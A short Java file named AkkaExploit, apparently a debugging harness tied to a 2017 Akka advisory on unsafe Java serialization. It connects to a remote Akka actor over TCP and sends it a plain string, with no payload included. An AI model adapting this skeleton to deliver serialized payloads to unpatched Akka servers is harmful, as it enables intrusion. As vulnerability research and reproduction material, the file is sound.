For Debug with https://doc.akka.io/docs/akka/2.4/security/2017-02-10-java-serialization.html

AkkaExploit.java

/*
akka-actor_2.10-2.3.16.jar
akka-remote_2.10-2.3.16.jar
scala-library_2.10.0.jar
config-1.3.0.jar
protobuf-java-2.6.1.jar
netty-3.10.6.Final.jar
*/
package akkaexploit;

import akka.actor.*;
import com.typesafe.config.Config;
import com.typesafe.config.ConfigFactory;

import java.util.HashMap;
import java.util.Map;

public class AkkaExploit {

    public static void main(String[] args) throws Exception {
        final ActorSystem actorSystem = ActorSystem.create("clientAS", createConfig());
        final String path = "akka.tcp://[email protected]:4321/example";
        final ActorRef actor = actorSystem.actorFor(path);
        actor.tell("yolo", null);
        //Thread.sleep(5000);
        //actorSystem.shutdown();
    }

    static Config createConfig() {
        Map<String, Object> map = new HashMap<>();
        map.put("akka.actor.provider",   "akka.remote.RemoteActorRefProvider");
        map.put("akka.remote.transport", "akka.remote.netty.NettyRemoteTransport");
        map.put("akka.remote.netty.tcp.hostname", "x.x.x.x-local");
        map.put("akka.remote.netty.tcp.port", "1234");
        return ConfigFactory.parseMap(map);
    }
}